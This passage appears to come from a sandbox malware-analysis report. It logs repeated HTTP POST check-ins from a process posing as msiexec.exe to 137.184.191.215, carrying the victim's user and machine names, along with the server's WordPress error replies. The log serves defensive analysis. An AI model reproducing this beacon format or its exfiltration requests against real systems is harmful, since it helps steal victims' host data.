1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:20:10.515367031 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:20:10.515378952 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	59105	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:20:10.660384893 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:20:10.665251017 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:20:13.219569921 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:20:11 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:20:13.219995975 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:20:13.220007896 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	59106	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:20:13.361092091 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:20:13.365953922 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:20:16.036499023 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:20:13 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:20:16.036878109 CEST	224	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus
Oct 2, 2024 07:20:16.036887884 CEST	1236	IN	Data Raw: 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 30 34 33 39 35 39 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 32 70 78 20 23 32 32 37 31 62 31 3b 0a 09 09 09 6f 75 74 6c 69 6e 65 3a 20 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 Data Ascii: {color: #043959;box-shadow: 0 0 0 2px #2271b1;outline: 2px solid transparent;}.button {background: #f3f5f6;border: 1px solid #016087;color: #016087;display: inline-block;text-decoration: none;font-size
Oct 2, 2024 07:20:16.038016081 CEST	142	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2f 61 72 74 69 63 6c 65 2f 66 61 71 2d 74 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 2f 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f Data Ascii: ="https://wordpress.org/documentation/article/faq-troubleshooting/">Learn more about troubleshooting WordPress.</a></p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	59107	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:20:16.189989090 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:20:16.194834948 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:20:19.692133904 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:20:16 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:20:19.692466974 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:20:19.692480087 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress
Oct 2, 2024 07:20:19.693748951 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:20:16 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:20:19.693762064 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:20:16 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	59108	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:20:19.859668970 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:20:19.864464998 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:20:22.538747072 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:20:20 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:20:22.539127111 CEST	224	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus
Oct 2, 2024 07:20:22.539135933 CEST	1236	IN	Data Raw: 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 30 34 33 39 35 39 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 32 70 78 20 23 32 32 37 31 62 31 3b 0a 09 09 09 6f 75 74 6c 69 6e 65 3a 20 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 Data Ascii: {color: #043959;box-shadow: 0 0 0 2px #2271b1;outline: 2px solid transparent;}.button {background: #f3f5f6;border: 1px solid #016087;color: #016087;display: inline-block;text-decoration: none;font-size
Oct 2, 2024 07:20:22.540229082 CEST	142	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2f 61 72 74 69 63 6c 65 2f 66 61 71 2d 74 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 2f 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f Data Ascii: ="https://wordpress.org/documentation/article/faq-troubleshooting/">Learn more about troubleshooting WordPress.</a></p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	59109	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:20:22.693000078 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
